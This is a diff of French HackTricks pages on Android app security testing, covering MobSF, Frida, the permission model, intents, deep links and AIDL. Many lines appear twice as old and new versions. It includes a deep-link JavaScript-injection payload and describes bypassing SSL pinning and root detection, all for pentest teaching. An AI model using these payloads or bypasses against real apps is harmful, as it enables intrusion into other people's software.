* **Injection SQL :** Lorsque vous travaillez avec des requêtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
* **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et des plugins est désactivé pour toutes les WebViews (désactivé par défaut). [Plus d'informations ici](webview-attacks.md#javascript-enabled).
* **Inclusion de Fichiers Locaux :** Les WebViews doivent avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'informations ici](webview-attacks.md#javascript-enabled).
* **Injection SQL :** Lors de la manipulation de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
* **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et des plugins est désactivé pour tout WebView (désactivé par défaut). [Plus d'informations ici](webview-attacks.md#javascript-enabled).
* **Inclusion de Fichier Local :** Les WebViews doivent avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'informations ici](webview-attacks.md#javascript-enabled).
* **Cookies Éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
* [**Drapeau de Sécurité** dans les cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
* [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
**Perspectives sur le Hacking**\
Engagez-vous avec du contenu qui explore l'excitation et les défis du hacking
**Actualités sur le Hacking en Temps Réel**\
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -587,26 +588,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Notez que MobSF peut analyser les applications **Android**(apk), **IOS**(ipa) et Windows(apx) (_les applications Windows doivent être analysées à partir d'un MobSF installé sur un hôte Windows_).\
De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un fichier ZIP), MobSF pourra également l'analyser.
MobSF vous permet également de **diff/Comparer** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, puis le **hash** sera **téléchargé** au lieu du fichier.
MobSF vous permet également de **différencier/comparer** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, puis le **hash** sera **téléchargé** au lieu du fichier.
### Analyse dynamique assistée avec MobSF
**MobSF** peut également être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une machine virtuelle ou Docker ne fonctionnera pas). _Remarque : Vous devez **d'abord démarrer une machine virtuelle dans genymotion** et **ensuite MobSF**._\
L'**analyseur dynamique MobSF** peut :
* **Extraire les données de l'application** (URL, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML, et autres fichiers créés). Tout cela est fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous voulez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
* **Extraire les données de l'application** (URL, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela est fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous souhaitez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
* Capturer le **trafic HTTPS**
* Utiliser **Frida** pour obtenir des **informations en temps d'exécution**
* Utiliser **Frida** pour obtenir des **informations en temps réel**
À partir des versions **Android > 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera le trafic que de l'application testée.
À partir des versions **Android > 5**, il démarrera **automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera le trafic que de l'application testée.
**Frida**
Par défaut, il utilisera également certains scripts Frida pour **contourner l'épinglage SSL**, la **détection de root** et la **détection de débogueur** et pour **surveiller les API intéressantes**.\
MobSF peut également **appeler des activités exportées**, capturer des **captures d'écran** et les **sauvegarder** pour le rapport.
MobSF peut également **appeler des activités exportées**, capturer des **captures d'écran** et les **enregistrer** pour le rapport.
Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations des méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il vous suffit de les **sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts à l'intérieur de "**Frida Live Logs**").
Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et sur "**Live API Monitor**" pour voir toutes les invocations des méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il vous suffit de les sélectionner, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts à l'intérieur de "**Frida Live Logs**").
![](<../../.gitbook/assets/image (215).png>)
@ -617,13 +618,13 @@ De plus, vous disposez de certaines fonctionnalités auxiliaires Frida :
* **Capturer les comparaisons de chaînes** : Peut être très utile. Il **affichera les 2 chaînes comparées** et si le résultat était Vrai ou Faux.
* **Énumérer les méthodes de classe** : Mettez le nom de la classe (comme "java.io.File") et il affichera toutes les méthodes de la classe.
* **Rechercher un motif de classe** : Rechercher des classes par motif
* **Tracer les méthodes de classe** : **Tracer** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). N'oubliez pas que par défaut, MobSF trace plusieurs méthodes intéressantes de l'API Android.
* **Tracer les méthodes de classe** : **Tracer** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous que par défaut, MobSF trace plusieurs méthodes intéressantes de l'API Android.
Une fois que vous avez sélectionné le module auxiliaire que vous souhaitez utiliser, appuyez sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**".
**Shell**
Mobsf vous propose également un shell avec quelques commandes **adb**, commandes **MobSF**, et commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
Mobsf vous propose également un shell avec quelques commandes **adb**, des commandes **MobSF** et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
```bash
help
shell ls
@ -634,8 +635,8 @@ receivers
```
**Outils HTTP**
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur le bas de "**HTTP(S) Traffic**" ou une vue plus agréable sur le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur le bas de "**HTTP(S) Traffic**" ou une vue plus agréable sur le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
Pour ce faire, _allumez Burp -->_ _désactivez l'interception --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzzer les requêtes http** et rechercher des vulnérabilités.
@ -702,7 +703,7 @@ Téléchargez la [dernière version](https://github.com/vincentcox/StaCoAn/relea
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités de sécurité potentielles dans les applications Android.\
[Téléchargements pour Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
[Versions Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@ -742,7 +743,7 @@ Notez que selon le service et la configuration que vous utilisez pour obfusquer
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
D'après [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions inutilisées. ProGuard est un logiciel libre distribué sous la licence publique générale GNU, version 2.
De [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) : **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions inutilisées. ProGuard est un logiciel gratuit distribué sous la licence publique générale GNU, version 2.
ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la construction de l'application en mode release.
@ -798,13 +799,13 @@ AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Rejoignez le [**Serveur Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
**Perspectives sur le Hacking**\
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
**Actualités de Hacking en Temps Réel**\
Restez informé sur le monde du hacking à rythme rapide grâce aux actualités et aux informations en temps réel
**Actualités sur le Hacking en Temps Réel**\
Restez informé du monde du hacking en évolution rapide grâce à des actualités et des informations en temps réel
**Dernières Annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
@ -813,14 +814,14 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -10,13 +10,13 @@ Autres façons de soutenir HackTricks :
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,12 +26,12 @@ Autres façons de soutenir HackTricks :
**Il y a deux couches :**
* Le **système d'exploitation (OS)**, qui maintient les applications installées isolées les unes des autres.
* Le **système d'exploitation (OS)**, qui garde les applications installées isolées les unes des autres.
* L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
### Séparation des UID
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela est fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers appartenant à son ID utilisateur ou des fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers appartenant à son ID utilisateur ou des fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
### Partage des UID
@ -55,13 +55,13 @@ Un élément d'autorisation a trois attributs :
* L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
* Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas tenu d'approuver**.
* **Dangereux** : Indique que l'autorisation accorde à l'application demandeur un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
* **Dangereux** : Indique que l'autorisation accorde à l'application demandant un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications s'exécutant avec un accès de niveau système** peuvent se voir accorder des autorisations.
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications fonctionnant avec un accès de niveau système** peuvent se voir accorder des autorisations.
## Applications Pré-Installées
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications valent la peine d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications valent la peine d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant qu'utilisateur root).
* Celles livrées avec le **ROM AOSP** (Android OpenSource Project)
* Ajoutées par le **fabricant de l'appareil**
@ -72,7 +72,7 @@ Ces applications se trouvent généralement dans les répertoires **`/system/app
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui sont généralement **spécifiques** au **dispositif** et à la **version**.\
Une fois l'exploit réussi, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles dans le Google Play Store).
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles sur Google Play Store).
{% hint style="danger" %}
Notez que le processus de rootage est très dangereux et peut endommager gravement l'appareil
@ -87,7 +87,7 @@ Notez que **il n'est pas toujours nécessaire de rooter l'appareil** pour instal
### Implications
Une fois qu'un appareil est rooté, n'importe quelle application pourrait demander l'accès en tant que root. Si une application malveillante l'obtient, elle pourra accéder à presque tout et endommager le téléphone.
Une fois qu'un appareil est rooté, toute application pourrait demander un accès en tant que root. Si une application malveillante l'obtient, elle pourra accéder à presque tout et endommager le téléphone.
## Fondamentaux des Applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
@ -113,32 +113,32 @@ Une fois qu'un appareil est rooté, n'importe quelle application pourrait demand
- Contient des ressources qui ne sont pas compilées dans resources.arsc
### **Dalvik & Smali**
En développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser le JVM comme dans les applications de bureau, Android compile ce code en **code bytecode Dalvik exécutable (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, l'Android Runtime (ART) prend le relais dans les nouvelles versions d'Android.
En développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser le JVM comme dans les applications de bureau, Android compile ce code en **code bytecode Dalvik exécutable (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, Android Runtime (ART) prend le relais dans les nouvelles versions d'Android.
Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible par l'homme du bytecode DEX, agissant comme un langage d'assemblage en traduisant le code source en instructions bytecode. Smali et baksmali font référence aux outils d'assemblage et de désassemblage dans ce contexte.
## Intentions
Les Intentions sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
Les Intentions sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à l'utilisation des requêtes GET/POST dans les communications HTTP.
Ainsi, une Intention est essentiellement un **message qui est passé entre les composants**. Les Intentions **peuvent être dirigées** vers des composants ou des applications spécifiques, **ou peuvent être envoyées sans destinataire spécifique**.\
Ainsi, une Intention est essentiellement un **message qui est transmis entre les composants**. Les Intentions **peuvent être dirigées** vers des composants ou des applications spécifiques, **ou peuvent être envoyées sans destinataire spécifique**.\
Pour simplifier, une Intention peut être utilisée pour :
* Démarrer une Activité, ouvrir généralement une interface utilisateur pour une application
* Comme diffusions pour informer le système et les applications des changements
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
* En tant que diffusions pour informer le système et les applications des changements
* Démarrer, arrêter et communiquer avec un service en arrière-plan
* Accéder aux données via des ContentProviders
* Comme rappels pour gérer des événements
* En tant que rappels pour gérer des événements
Si elles sont vulnérables, les **Intentions peuvent être utilisées pour effectuer diverses attaques**.
### Filtre d'Intention
Les **Filtres d'Intention** définissent **comment une activité, un service ou un récepteur de diffusion peuvent interagir avec différents types d'Intentions**. Essentiellement, ils décrivent les capacités de ces composants, comme les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. Le principal endroit pour déclarer ces filtres est dans le fichier **AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder soit également une option.
Les **Filtres d'Intention** définissent **comment une activité, un service ou un récepteur de diffusion peuvent interagir avec différents types d'Intentions**. Essentiellement, ils décrivent les capacités de ces composants, comme les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. Le principal endroit pour déclarer ces filtres est dans le fichier **AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder est également une option.
Les Filtres d'Intention sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intentions spécifiques qui correspondent aux critères déclarés.
Un aspect critique des composants Android (activités/services/fournisseurs de contenu/récepteurs de diffusion) est leur visibilité ou leur **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exporté`** avec une valeur de **`true`** ou si un Filtre d'Intention est déclaré pour lui dans le manifeste. Cependant, les développeurs peuvent explicitement garder ces composants privés pour s'assurer qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
Un aspect critique des composants Android (activités/services/fournisseurs de contenu/récepteurs de diffusion) est leur visibilité ou leur **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exporté`** avec une valeur de **`true`** ou si un Filtre d'Intention est déclaré pour lui dans le manifeste. Cependant, les développeurs peuvent explicitement garder ces composants privés pour s'assurer qu'ils n'interagissent pas avec d'autres applications de manière involontaire. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des autorisations spécifiques. L'attribut **`permission`** peut être défini pour obliger uniquement les applications disposant de l'autorisation désignée à accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
```java
@ -165,7 +165,7 @@ Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant:
```
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre "choisir" apparaît pour que l'**utilisateur puisse décider**.
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre de "choix" apparaît pour que l'**utilisateur puisse décider**.
### Intents explicites
@ -181,7 +181,7 @@ context.startService(intent);
```
### Intentions en attente
Ces intentions permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les autorisations de votre application. Pour construire une Intention en attente, il faut **spécifier une intention et l'action à effectuer**. Si l'intention **déclarée n'est pas explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
Ces dernières permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les autorisations de votre application. Pour construire une Intention en attente, il faut **spécifier une intention et l'action à effectuer**. Si l'**intention déclarée n'est pas explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
### Intentions de diffusion
@ -189,10 +189,10 @@ Contrairement aux intentions précédentes, qui ne sont reçues que par une seul
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra disposer de cette autorisation.
Il existe **deux types** de diffusions : **Normales** (asynchrones) et **Ordonnées** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion**.
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrone). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion**.
Il est possible d'**envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadcastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
### Diffusions persistantes
@ -206,7 +206,7 @@ Si vous trouvez des fonctions contenant le mot "persistant" comme **`sendStickyB
Dans les applications Android, les **liens profonds** sont utilisés pour initier une action (Intention) directement via une URL. Cela se fait en déclarant un **schéma d'URL spécifique** au sein d'une activité. Lorsqu'un appareil Android tente d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`** :
Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`**:
```xml
[...]
<activity android:name=".MyActivity">
@ -226,7 +226,7 @@ Ensuite, dans le champ des données, vous pouvez spécifier l'**hôte** et le **
android:host="example"
/>
```
Pour y accéder depuis un site web, il est possible de définir un lien comme suit :
Pour y accéder depuis un navigateur web, il est possible de définir un lien comme suit :
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
@ -241,7 +241,7 @@ Le **Langage de Définition d'Interface Android (AIDL)** est conçu pour facilit
### Concepts Clés
- **Services liés**: Ces services utilisent AIDL pour l'IPC, permettant aux activités ou composants de se lier à un service, de faire des requêtes et de recevoir des réponses. La méthode `onBind` dans la classe du service est essentielle pour initier l'interaction, en faisant de cette zone un domaine vital pour l'examen de la sécurité à la recherche de vulnérabilités.
- **Services liés**: Ces services utilisent AIDL pour l'IPC, permettant aux activités ou composants de se lier à un service, de faire des requêtes et de recevoir des réponses. La méthode `onBind` dans la classe du service est essentielle pour initier l'interaction, en en faisant une zone vitale pour l'examen de la sécurité à la recherche de vulnérabilités.
- **Messager**: Agissant en tant que service lié, Messenger facilite l'IPC en se concentrant sur le traitement des données via la méthode `onBind`. Il est essentiel d'inspecter cette méthode de près pour tout traitement de données non sécurisé ou l'exécution de fonctions sensibles.
@ -255,7 +255,7 @@ Ceux-ci incluent: **Activités, Services, Récepteurs de diffusion et Fournisseu
Dans les applications Android, les **activités** sont comme des écrans, affichant différentes parties de l'interface utilisateur de l'application. Une application peut avoir de nombreuses activités, chacune présentant un écran unique à l'utilisateur.
L'**activité de lancement** est la passerelle principale vers une application, lancée lorsque vous appuyez sur l'icône de l'application. Elle est définie dans le fichier manifeste de l'application avec des intentions MAIN et LAUNCHER spécifiques:
L'**activité de lancement** est la principale passerelle vers une application, lancée lorsque vous appuyez sur l'icône de l'application. Elle est définie dans le fichier manifeste de l'application avec des intentions MAIN et LAUNCHER spécifiques:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -270,13 +270,13 @@ Les activités peuvent être rendues disponibles à d'autres applications ou pro
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Cependant, accéder à une activité depuis une autre application n'est pas toujours un risque de sécurité. Le problème survient si des données sensibles sont partagées de manière inappropriée, ce qui pourrait entraîner des fuites d'informations.
Cependant, accéder à une activité depuis une autre application n'est pas toujours un risque pour la sécurité. Le problème survient si des données sensibles sont partagées de manière inappropriée, ce qui pourrait entraîner des fuites d'informations.
